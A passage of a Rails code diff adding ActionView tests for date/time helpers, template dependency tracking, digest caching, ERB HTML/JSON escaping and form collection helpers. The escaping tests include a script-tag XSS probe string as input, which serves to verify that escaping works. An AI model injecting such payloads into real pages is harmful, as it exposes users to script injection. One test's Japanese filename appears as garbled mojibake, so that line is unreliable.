+ def test_date_select_should_not_change_passed_options_hash
+ @post = Post.new
+ @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ date_select(@post, :updated_at, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_datetime_select_should_not_change_passed_options_hash
+ @post = Post.new
+ @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ datetime_select(@post, :updated_at, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_time_select_should_not_change_passed_options_hash
+ @post = Post.new
+ @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ time_select(@post, :updated_at, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_select_date_should_not_change_passed_options_hash
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ select_date(Date.today, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_select_datetime_should_not_change_passed_options_hash
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ select_datetime(Time.now, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_select_time_should_not_change_passed_options_hash
+ options = {
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }
+ select_time(Time.now, options)
+
+ # note: the literal hash is intentional to show that the actual options hash isn't modified
+ # don't change this!
+ assert_equal({
+ :order => [ :year, :month, :day ],
+ :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+ :discard_type => false,
+ :include_blank => false,
+ :ignore_date => false,
+ :include_seconds => true
+ }, options)
+ end
+
+ def test_select_html_safety
+ assert select_day(16).html_safe?
+ assert select_month(8).html_safe?
+ assert select_year(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+ assert select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+ assert select_second(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+
+ assert select_minute(8, :use_hidden => true).html_safe?
+ assert select_month(8, :prompt => 'Choose month').html_safe?
+
+ assert select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector').html_safe?
+ assert select_date(Time.mktime(2003, 8, 16), :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]").html_safe?
+ end
+
+ def test_object_select_html_safety
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ assert date_select("post", "written_on", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true).html_safe?
+ assert time_select("post", "written_on", :ignore_date => true).html_safe?
+ end
+
+ def test_time_tag_with_date
+ date = Date.new(2013, 2, 20)
+ expected = '<time datetime="2013-02-20">February 20, 2013</time>'
+ assert_equal expected, time_tag(date)
+ end
+
+ def test_time_tag_with_time
+ time = Time.new(2013, 2, 20, 0, 0, 0, '+00:00')
+ expected = '<time datetime="2013-02-20T00:00:00+00:00">February 20, 2013 00:00</time>'
+ assert_equal expected, time_tag(time)
+ end
+
+ def test_time_tag_pubdate_option
+ assert_match(/<time.*pubdate="pubdate">.*<\/time>/, time_tag(Time.now, :pubdate => true))
+ end
+
+ def test_time_tag_with_given_text
+ assert_match(/<time.*>Right now<\/time>/, time_tag(Time.now, 'Right now'))
+ end
+
+ def test_time_tag_with_given_block
+ assert_match(/<time.*><span>Right now<\/span><\/time>/, time_tag(Time.now){ '<span>Right now</span>'.html_safe })
+ end
+
+ def test_time_tag_with_different_format
+ time = Time.new(2013, 2, 20, 0, 0, 0, '+00:00')
+ expected = '<time datetime="2013-02-20T00:00:00+00:00">20 Feb 00:00</time>'
+ assert_equal expected, time_tag(time, :format => :short)
+ end
+
+ protected
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
diff --git a/actionview/test/template/dependency_tracker_test.rb b/actionview/test/template/dependency_tracker_test.rb
new file mode 100644
index 0000000000..bb375076c6
--- /dev/null
+++ b/actionview/test/template/dependency_tracker_test.rb
@@ -0,0 +1,196 @@
+# encoding: utf-8
+
+require 'abstract_unit'
+require 'action_view/dependency_tracker'
+
+class NeckbeardTracker
+ def self.call(name, template)
+ ["foo/#{name}"]
+ end
+end
+
+class FakeTemplate
+ attr_reader :source, :handler
+
+ def initialize(source, handler = Neckbeard)
+ @source, @handler = source, handler
+ end
+end
+
+Neckbeard = lambda {|template| template.source }
+Bowtie = lambda {|template| template.source }
+
+class DependencyTrackerTest < ActionView::TestCase
+ def tracker
+ ActionView::DependencyTracker
+ end
+
+ def setup
+ ActionView::Template.register_template_handler :neckbeard, Neckbeard
+ tracker.register_tracker(:neckbeard, NeckbeardTracker)
+ end
+
+ def teardown
+ ActionView::Template.unregister_template_handler :neckbeard
+ tracker.remove_tracker(:neckbeard)
+ end
+
+ def test_finds_tracker_by_template_handler
+ template = FakeTemplate.new("boo/hoo")
+ dependencies = tracker.find_dependencies("boo/hoo", template)
+ assert_equal ["foo/boo/hoo"], dependencies
+ end
+
+ def test_returns_empty_array_if_no_tracker_is_found
+ template = FakeTemplate.new("boo/hoo", Bowtie)
+ dependencies = tracker.find_dependencies("boo/hoo", template)
+ assert_equal [], dependencies
+ end
+end
+
+class ERBTrackerTest < Minitest::Test
+ def make_tracker(name, template)
+ ActionView::DependencyTracker::ERBTracker.new(name, template)
+ end
+
+ def test_dependency_of_erb_template_with_number_in_filename
+ template = FakeTemplate.new("<%# render 'messages/message123' %>", :erb)
+ tracker = make_tracker("messages/_message123", template)
+
+ assert_equal ["messages/message123"], tracker.dependencies
+ end
+
+ def test_dependency_of_template_partial_with_layout
+ skip # FIXME: Needs to be fixed properly, right now we can only match one dependency per line. Need multiple!
+ template = FakeTemplate.new("<%# render partial: 'messages/show', layout: 'messages/layout' %>", :erb)
+ tracker = make_tracker("multiple/_dependencies", template)
+
+ assert_equal ["messages/layout", "messages/show"], tracker.dependencies
+ end
+
+ def test_dependency_of_template_layout_standalone
+ template = FakeTemplate.new("<%# render layout: 'messages/layout' do %>", :erb)
+ tracker = make_tracker("messages/layout", template)
+
+ assert_equal ["messages/layout"], tracker.dependencies
+ end
+
+ def test_finds_dependency_in_correct_directory
+ template = FakeTemplate.new("<%# render(message.topic) %>", :erb)
+ tracker = make_tracker("messages/_message", template)
+
+ assert_equal ["topics/topic"], tracker.dependencies
+ end
+
+ def test_finds_dependency_in_correct_directory_with_underscore
+ template = FakeTemplate.new("<%# render(message_type.messages) %>", :erb)
+ tracker = make_tracker("message_types/_message_type", template)
+
+ assert_equal ["messages/message"], tracker.dependencies
+ end
+
+ def test_dependency_of_erb_template_with_no_spaces_after_render
+ template = FakeTemplate.new("<%# render'messages/message' %>", :erb)
+ tracker = make_tracker("messages/_message", template)
+
+ assert_equal ["messages/message"], tracker.dependencies
+ end
+
+ def test_finds_no_dependency_when_render_begins_the_name_of_an_identifier
+ template = FakeTemplate.new("<%# rendering 'it useless' %>", :erb)
+ tracker = make_tracker("resources/_resource", template)
+
+ assert_equal [], tracker.dependencies
+ end
+
+ def test_finds_no_dependency_when_render_ends_the_name_of_another_method
+ template = FakeTemplate.new("<%# surrender 'to reason' %>", :erb)
+ tracker = make_tracker("resources/_resource", template)
+
+ assert_equal [], tracker.dependencies
+ end
+
+ def test_finds_dependency_on_multiline_render_calls
+ template = FakeTemplate.new("<%#
+ render :object => @all_posts,
+ :partial => 'posts' %>", :erb)
+
+ tracker = make_tracker("some/_little_posts", template)
+
+ assert_equal ["some/posts"], tracker.dependencies
+ end
+
+ def test_finds_multiple_unrelated_odd_dependencies
+ template = FakeTemplate.new("
+ <%# render('shared/header', title: 'Title') %>
+ <h2>Section title</h2>
+ <%# render@section %>
+ ", :erb)
+
+ tracker = make_tracker("multiple/_dependencies", template)
+
+ assert_equal ["shared/header", "sections/section"], tracker.dependencies
+ end
+
+ def test_finds_dependencies_for_all_kinds_of_identifiers
+ template = FakeTemplate.new("
+ <%# render $globals %>
+ <%# render @instance_variables %>
+ <%# render @@class_variables %>
+ ", :erb)
+
+ tracker = make_tracker("identifiers/_all", template)
+
+ assert_equal [
+ "globals/global",
+ "instance_variables/instance_variable",
+ "class_variables/class_variable"
+ ], tracker.dependencies
+ end
+
+ def test_finds_dependencies_on_method_chains
+ template = FakeTemplate.new("<%# render @parent.child.grandchildren %>", :erb)
+ tracker = make_tracker("method/_chains", template)
+
+ assert_equal ["grandchildren/grandchild"], tracker.dependencies
+ end
+
+ def test_finds_dependencies_with_special_characters
+ template = FakeTemplate.new("<%# render @pokémon, partial: 'ピカãƒãƒ¥ã‚¦' %>", :erb)
+ tracker = make_tracker("special/_characters", template)
+
+ assert_equal ["special/ピカãƒãƒ¥ã‚¦"], tracker.dependencies
+ end
+
+ def test_finds_dependencies_with_quotes_within
+ template = FakeTemplate.new(%{
+ <%# render "single/quote's" %>
+ <%# render 'double/quote"s' %>
+ }, :erb)
+
+ tracker = make_tracker("quotes/_single_and_double", template)
+
+ assert_equal ["single/quote's", 'double/quote"s'], tracker.dependencies
+ end
+
+ def test_finds_dependencies_with_extra_spaces
+ template = FakeTemplate.new(%{
+ <%= render "header" %>
+ <%= render partial: "form" %>
+ <%= render @message %>
+ <%= render ( @message.events ) %>
+ <%= render :collection => @message.comments,
+ :partial => "comments/comment" %>
+ }, :erb)
+
+ tracker = make_tracker("spaces/_extra", template)
+
+ assert_equal [
+ "spaces/header",
+ "spaces/form",
+ "messages/message",
+ "events/event",
+ "comments/comment"
+ ], tracker.dependencies
+ end
+end
diff --git a/actionview/test/template/digestor_test.rb b/actionview/test/template/digestor_test.rb
new file mode 100644
index 0000000000..c2b8439df3
--- /dev/null
+++ b/actionview/test/template/digestor_test.rb
@@ -0,0 +1,312 @@
+require 'abstract_unit'
+require 'fileutils'
+
+class FixtureTemplate
+ attr_reader :source, :handler
+
+ def initialize(template_path)
+ @source = File.read(template_path)
+ @handler = ActionView::Template.handler_for_extension(:erb)
+ rescue Errno::ENOENT
+ raise ActionView::MissingTemplate.new([], "", [], true, [])
+ end
+end
+
+class FixtureFinder
+ FIXTURES_DIR = "#{File.dirname(__FILE__)}/../fixtures/digestor"
+
+ attr_reader :details
+ attr_accessor :formats
+ attr_accessor :variants
+
+ def initialize
+ @details = {}
+ @formats = []
+ @variants = []
+ end
+
+ def details_key
+ details.hash
+ end
+
+ def find(name, prefixes = [], partial = false, keys = [], options = {})
+ partial_name = partial ? name.gsub(%r|/([^/]+)$|, '/_\1') : name
+ format = @formats.first.to_s
+ format += "+#{@variants.first}" if @variants.any?
+
+ FixtureTemplate.new("digestor/#{partial_name}.#{format}.erb")
+ end
+
+ def disable_cache(&block)
+ yield
+ end
+end
+
+class TemplateDigestorTest < ActionView::TestCase
+ def setup
+ @cwd = Dir.pwd
+ @tmp_dir = Dir.mktmpdir
+
+ FileUtils.cp_r FixtureFinder::FIXTURES_DIR, @tmp_dir
+ Dir.chdir @tmp_dir
+ end
+
+ def teardown
+ Dir.chdir @cwd
+ FileUtils.rm_r @tmp_dir
+ ActionView::Digestor.cache.clear
+ end
+
+ def test_top_level_change_reflected
+ assert_digest_difference("messages/show") do
+ change_template("messages/show")
+ end
+ end
+
+ def test_explicit_dependency
+ assert_digest_difference("messages/show") do
+ change_template("messages/_message")
+ end
+ end
+
+ def test_explicit_dependency_in_multiline_erb_tag
+ assert_digest_difference("messages/show") do
+ change_template("messages/_form")
+ end
+ end
+
+ def test_second_level_dependency
+ assert_digest_difference("messages/show") do
+ change_template("comments/_comments")
+ end
+ end
+
+ def test_second_level_dependency_within_same_directory
+ assert_digest_difference("messages/show") do
+ change_template("messages/_header")
+ end
+ end
+
+ def test_third_level_dependency
+ assert_digest_difference("messages/show") do
+ change_template("comments/_comment")
+ end
+ end
+
+ def test_directory_depth_dependency
+ assert_digest_difference("level/below/index") do
+ change_template("level/below/_header")
+ end
+ end
+
+ def test_logging_of_missing_template
+ assert_logged "Couldn't find template for digesting: messages/something_missing" do
+ digest("messages/show")
+ end
+ end
+
+ def test_logging_of_missing_template_ending_with_number
+ assert_logged "Couldn't find template for digesting: messages/something_missing_1" do
+ digest("messages/show")
+ end
+ end
+
+ def test_nested_template_directory
+ assert_digest_difference("messages/show") do
+ change_template("messages/actions/_move")
+ end
+ end
+
+ def test_recursion_in_renders
+ assert digest("level/recursion") # assert recursion is possible
+ assert_not_nil digest("level/recursion") # assert digest is stored
+ end
+
+ def test_chaining_the_top_template_on_recursion
+ assert digest("level/recursion") # assert recursion is possible
+
+ assert_digest_difference("level/recursion") do
+ change_template("level/recursion")
+ end
+
+ assert_not_nil digest("level/recursion") # assert digest is stored
+ end
+
+ def test_chaining_the_partial_template_on_recursion
+ assert digest("level/recursion") # assert recursion is possible
+
+ assert_digest_difference("level/recursion") do
+ change_template("level/_recursion")
+ end
+
+ assert_not_nil digest("level/recursion") # assert digest is stored
+ end
+
+ def test_dont_generate_a_digest_for_missing_templates
+ assert_equal '', digest("nothing/there")
+ end
+
+ def test_collection_dependency
+ assert_digest_difference("messages/index") do
+ change_template("messages/_message")
+ end
+
+ assert_digest_difference("messages/index") do
+ change_template("events/_event")
+ end
+ end
+
+ def test_collection_derived_from_record_dependency
+ assert_digest_difference("messages/show") do
+ change_template("events/_event")
+ end
+ end
+
+ def test_details_are_included_in_cache_key
+ # Cache the template digest.
+ old_digest = digest("events/_event")
+
+ # Change the template; the cached digest remains unchanged.
+ change_template("events/_event")
+
+ # The details are changed, so a new cache key is generated.
+ finder.details[:foo] = "bar"
+
+ # The cache is busted.
+ assert_not_equal old_digest, digest("events/_event")
+ end
+
+ def test_extra_whitespace_in_render_partial
+ assert_digest_difference("messages/edit") do
+ change_template("messages/_form")
+ end
+ end
+
+ def test_extra_whitespace_in_render_named_partial
+ assert_digest_difference("messages/edit") do
+ change_template("messages/_header")
+ end
+ end
+
+ def test_extra_whitespace_in_render_record
+ assert_digest_difference("messages/edit") do
+ change_template("messages/_message")
+ end
+ end
+
+ def test_extra_whitespace_in_render_with_parenthesis
+ assert_digest_difference("messages/edit") do
+ change_template("events/_event")
+ end
+ end
+
+ def test_old_style_hash_in_render_invocation
+ assert_digest_difference("messages/edit") do
+ change_template("comments/_comment")
+ end
+ end
+
+ def test_variants
+ assert_digest_difference("messages/new", false, variants: [:iphone]) do
+ change_template("messages/new", :iphone)
+ change_template("messages/_header", :iphone)
+ end
+ end
+
+ def test_dependencies_via_options_results_in_different_digest
+ digest_plain = digest("comments/_comment")
+ digest_fridge = digest("comments/_comment", dependencies: ["fridge"])
+ digest_phone = digest("comments/_comment", dependencies: ["phone"])
+ digest_fridge_phone = digest("comments/_comment", dependencies: ["fridge", "phone"])
+
+ assert_not_equal digest_plain, digest_fridge
+ assert_not_equal digest_plain, digest_phone
+ assert_not_equal digest_plain, digest_fridge_phone
+ assert_not_equal digest_fridge, digest_phone
+ assert_not_equal digest_fridge, digest_fridge_phone
+ assert_not_equal digest_phone, digest_fridge_phone
+ end
+
+ def test_cache_template_loading
+ resolver_before = ActionView::Resolver.caching
+ ActionView::Resolver.caching = false
+ assert_digest_difference("messages/edit", true) do
+ change_template("comments/_comment")
+ end
+ ensure
+ ActionView::Resolver.caching = resolver_before
+ end
+
+ def test_digest_cache_cleanup_with_recursion
+ first_digest = digest("level/_recursion")
+ second_digest = digest("level/_recursion")
+
+ assert first_digest
+
+ # If the cache is cleaned up correctly, subsequent digests should return the same
+ assert_equal first_digest, second_digest
+ end
+
+ def test_digest_cache_cleanup_with_recursion_and_template_caching_off
+ resolver_before = ActionView::Resolver.caching
+ ActionView::Resolver.caching = false
+
+ first_digest = digest("level/_recursion")
+ second_digest = digest("level/_recursion")
+
+ assert first_digest
+
+ # If the cache is cleaned up correctly, subsequent digests should return the same
+ assert_equal first_digest, second_digest
+ ensure
+ ActionView::Resolver.caching = resolver_before
+ end
+
+
+ private
+ def assert_logged(message)
+ old_logger = ActionView::Base.logger
+ log = StringIO.new
+ ActionView::Base.logger = Logger.new(log)
+
+ begin
+ yield
+
+ log.rewind
+ assert_match message, log.read
+ ensure
+ ActionView::Base.logger = old_logger
+ end
+ end
+
+ def assert_digest_difference(template_name, persistent = false, options = {})
+ previous_digest = digest(template_name, options)
+ ActionView::Digestor.cache.clear unless persistent
+
+ yield
+
+ assert previous_digest != digest(template_name, options), "digest didn't change"
+ ActionView::Digestor.cache.clear
+ end
+
+ def digest(template_name, options = {})
+ options = options.dup
+
+ finder.formats = [:html]
+ finder.variants = options.delete(:variants) || []
+
+ ActionView::Digestor.digest({ name: template_name, finder: finder }.merge(options))
+ end
+
+ def finder
+ @finder ||= FixtureFinder.new
+ end
+
+ def change_template(template_name, variant = nil)
+ variant = "+#{variant}" if variant.present?
+
+ File.open("digestor/#{template_name}.html#{variant}.erb", "w") do |f|
+ f.write "\nTHIS WAS CHANGED!"
+ end
+ end
+end
diff --git a/actionpack/test/template/erb/form_for_test.rb b/actionview/test/template/erb/form_for_test.rb
index e722b40a9a..e722b40a9a 100644
--- a/actionpack/test/template/erb/form_for_test.rb
+++ b/actionview/test/template/erb/form_for_test.rb
diff --git a/actionpack/test/template/erb/helper.rb b/actionview/test/template/erb/helper.rb
index a1973068d5..a1973068d5 100644
--- a/actionpack/test/template/erb/helper.rb
+++ b/actionview/test/template/erb/helper.rb
diff --git a/actionpack/test/template/erb/tag_helper_test.rb b/actionview/test/template/erb/tag_helper_test.rb
index 84e328d8be..84e328d8be 100644
--- a/actionpack/test/template/erb/tag_helper_test.rb
+++ b/actionview/test/template/erb/tag_helper_test.rb
diff --git a/actionview/test/template/erb_util_test.rb b/actionview/test/template/erb_util_test.rb
new file mode 100644
index 0000000000..3e72be31de
--- /dev/null
+++ b/actionview/test/template/erb_util_test.rb
@@ -0,0 +1,107 @@
+require 'abstract_unit'
+require 'active_support/json'
+
+class ErbUtilTest < ActiveSupport::TestCase
+ include ERB::Util
+
+ ERB::Util::HTML_ESCAPE.each do |given, expected|
+ define_method "test_html_escape_#{expected.gsub(/\W/, '')}" do
+ assert_equal expected, html_escape(given)
+ end
+ end
+
+ ERB::Util::JSON_ESCAPE.each do |given, expected|
+ define_method "test_json_escape_#{expected.gsub(/\W/, '')}" do
+ assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
+ end
+ end
+
+ HTML_ESCAPE_TEST_CASES = [
+ ['<br>', '&lt;br&gt;'],
+ ['a & b', 'a &amp; b'],
+ ['"quoted" string', '&quot;quoted&quot; string'],
+ ["'quoted' string", '&#39;quoted&#39; string'],
+ [
+ '<script type="application/javascript">alert("You are \'pwned\'!")</script>',
+ '&lt;script type=&quot;application/javascript&quot;&gt;alert(&quot;You are &#39;pwned&#39;!&quot;)&lt;/script&gt;'
+ ]
+ ]
+
+ JSON_ESCAPE_TEST_CASES = [
+ ['1', '1'],
+ ['null', 'null'],
+ ['"&"', '"\u0026"'],
+ ['"</script>"', '"\u003c/script\u003e"'],
+ ['["</script>"]', '["\u003c/script\u003e"]'],
+ ['{"name":"</script>"}', '{"name":"\u003c/script\u003e"}'],
+ [%({"name":"d\u2028h\u2029h"}), '{"name":"d\u2028h\u2029h"}']
+ ]
+
+ def test_html_escape
+ HTML_ESCAPE_TEST_CASES.each do |(raw, expected)|
+ assert_equal expected, html_escape(raw)
+ end
+ end
+
+ def test_json_escape
+ JSON_ESCAPE_TEST_CASES.each do |(raw, expected)|
+ assert_equal expected, json_escape(raw)
+ end
+ end
+
+ def test_json_escape_does_not_alter_json_string_meaning
+ JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+ assert_equal ActiveSupport::JSON.decode(raw), ActiveSupport::JSON.decode(json_escape(raw))
+ end
+ end
+
+ def test_json_escape_is_idempotent
+ JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+ assert_equal json_escape(raw), json_escape(json_escape(raw))
+ end
+ end
+
+ def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
+ value = json_escape("asdf")
+ assert !value.html_safe?
+ end
+
+ def test_json_escape_returns_safe_strings_when_passed_safe_strings
+ value = json_escape("asdf".html_safe)
+ assert value.html_safe?
+ end
+
+ def test_html_escape_is_html_safe
+ escaped = h("<p>")
+ assert_equal "&lt;p&gt;", escaped
+ assert escaped.html_safe?
+ end
+
+ def test_html_escape_passes_html_escape_unmodified
+ escaped = h("<p>".html_safe)
+ assert_equal "<p>", escaped
+ assert escaped.html_safe?
+ end
+
+ def test_rest_in_ascii
+ (0..127).to_a.map(&:chr).each do |chr|
+ next if %('"&<>).include?(chr)
+ assert_equal chr, html_escape(chr)
+ end
+ end
+
+ def test_html_escape_once
+ assert_equal '1 &lt;&gt;&amp;&quot;&#39; 2 &amp; 3', html_escape_once('1 <>&"\' 2 &amp; 3')
+ assert_equal " &#X27; &#x27; &#x03BB; &#X03bb; &quot; &#39; &lt; &gt; ", html_escape_once(" &#X27; &#x27; &#x03BB; &#X03bb; \" ' < > ")
+ end
+
+ def test_html_escape_once_returns_unsafe_strings_when_passed_unsafe_strings
+ value = html_escape_once('1 < 2 &amp; 3')
+ assert !value.html_safe?
+ end
+
+ def test_html_escape_once_returns_safe_strings_when_passed_safe_strings
+ value = html_escape_once('1 < 2 &amp; 3'.html_safe)
+ assert value.html_safe?
+ end
+end
diff --git a/actionview/test/template/form_collections_helper_test.rb b/actionview/test/template/form_collections_helper_test.rb
new file mode 100644
index 0000000000..b193d387c3
--- /dev/null
+++ b/actionview/test/template/form_collections_helper_test.rb
@@ -0,0 +1,459 @@
+require 'abstract_unit'
+
+class Category < Struct.new(:id, :name)
+end
+
+class FormCollectionsHelperTest < ActionView::TestCase
+ def assert_no_select(selector, value = nil)
+ assert_select(selector, :text => value, :count => 0)
+ end
+
+ def with_collection_radio_buttons(*args, &block)
+ @output_buffer = collection_radio_buttons(*args, &block)
+ end
+
+ def with_collection_check_boxes(*args, &block)
+ @output_buffer = collection_check_boxes(*args, &block)
+ end
+
+ # COLLECTION RADIO BUTTONS
+ test 'collection radio accepts a collection and generates inputs from value method' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+ assert_select 'input[type=radio][value=true]#user_active_true'
+ assert_select 'input[type=radio][value=false]#user_active_false'
+ end
+
+ test 'collection radio accepts a collection and generates inputs from label method' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+ assert_select 'label[for=user_active_true]', 'true'
+ assert_select 'label[for=user_active_false]', 'false'
+ end
+
+ test 'collection radio handles camelized collection values for labels correctly' do
+ with_collection_radio_buttons :user, :active, ['Yes', 'No'], :to_s, :to_s
+
+ assert_select 'label[for=user_active_yes]', 'Yes'
+ assert_select 'label[for=user_active_no]', 'No'
+ end
+
+ test 'collection radio should sanitize collection values for labels correctly' do
+ with_collection_radio_buttons :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
+ assert_select 'label[for=user_name_099]', '$0.99'
+ assert_select 'label[for=user_name_199]', '$1.99'
+ end
+
+ test 'collection radio accepts checked item' do
+ with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, :checked => true
+
+ assert_select 'input[type=radio][value=true][checked=checked]'
+ assert_no_select 'input[type=radio][value=false][checked=checked]'
+ end
+
+ test 'collection radio accepts multiple disabled items' do
+ collection = [[1, true], [0, false], [2, 'other']]
+ with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => [true, false]
+
+ assert_select 'input[type=radio][value=true][disabled=disabled]'
+ assert_select 'input[type=radio][value=false][disabled=disabled]'
+ assert_no_select 'input[type=radio][value=other][disabled=disabled]'
+ end
+
+ test 'collection radio accepts single disabled item' do
+ collection = [[1, true], [0, false]]
+ with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => true
+
+ assert_select 'input[type=radio][value=true][disabled=disabled]'
+ assert_no_select 'input[type=radio][value=false][disabled=disabled]'
+ end
+
+ test 'collection radio accepts multiple readonly items' do
+ collection = [[1, true], [0, false], [2, 'other']]
+ with_collection_radio_buttons :user, :active, collection, :last, :first, :readonly => [true, false]
+
+ assert_select 'input[type=radio][value=true][readonly=readonly]'
+ assert_select 'input[type=radio][value=false][readonly=readonly]'
+ assert_no_select 'input[type=radio][value=other][readonly=readonly]'
+ end
+
+ test 'collection radio accepts single readonly item' do
+ collection = [[1, true], [0, false]]
+ with_collection_radio_buttons :user, :active, collection, :last, :first, :readonly => true
+
+ assert_select 'input[type=radio][value=true][readonly=readonly]'
+ assert_no_select 'input[type=radio][value=false][readonly=readonly]'
+ end
+
+ test 'collection radio accepts html options as input' do
+ collection = [[1, true], [0, false]]
+ with_collection_radio_buttons :user, :active, collection, :last, :first, {}, :class => 'special-radio'
+
+ assert_select 'input[type=radio][value=true].special-radio#user_active_true'
+ assert_select 'input[type=radio][value=false].special-radio#user_active_false'
+ end
+
+ test 'collection radio accepts html options as the last element of array' do
+ collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+ with_collection_radio_buttons :user, :active, collection, :second, :first
+
+ assert_select 'input[type=radio][value=true].foo#user_active_true'
+ assert_select 'input[type=radio][value=false].bar#user_active_false'
+ end
+
+ test 'collection radio sets the label class defined inside the block' do
+ collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+ with_collection_radio_buttons :user, :active, collection, :second, :first do |b|
+ b.label(class: "collection_radio_buttons")
+ end
+
+ assert_select 'label.collection_radio_buttons[for=user_active_true]'
+ assert_select 'label.collection_radio_buttons[for=user_active_false]'
+ end
+
+ test 'collection radio does not include the input class in the respective label' do
+ collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+ with_collection_radio_buttons :user, :active, collection, :second, :first
+
+ assert_no_select 'label.foo[for=user_active_true]'
+ assert_no_select 'label.bar[for=user_active_false]'
+ end
+
+ test 'collection radio does not wrap input inside the label' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+ assert_select 'input[type=radio] + label'
+ assert_no_select 'label input'
+ end
+
+ test 'collection radio accepts a block to render the label as radio button wrapper' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label { b.radio_button }
+ end
+
+ assert_select 'label[for=user_active_true] > input#user_active_true[type=radio]'
+ assert_select 'label[for=user_active_false] > input#user_active_false[type=radio]'
+ end
+
+ test 'collection radio accepts a block to change the order of label and radio button' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label + b.radio_button
+ end
+
+ assert_select 'label[for=user_active_true] + input#user_active_true[type=radio]'
+ assert_select 'label[for=user_active_false] + input#user_active_false[type=radio]'
+ end
+
+ test 'collection radio with block helpers accept extra html options' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:class => "radio_button") + b.radio_button(:class => "radio_button")
+ end
+
+ assert_select 'label.radio_button[for=user_active_true] + input#user_active_true.radio_button[type=radio]'
+ assert_select 'label.radio_button[for=user_active_false] + input#user_active_false.radio_button[type=radio]'
+ end
+
+ test 'collection radio with block helpers allows access to current text and value' do
+ with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+ b.label(:"data-value" => b.value) { b.radio_button + b.text }
+ end
+
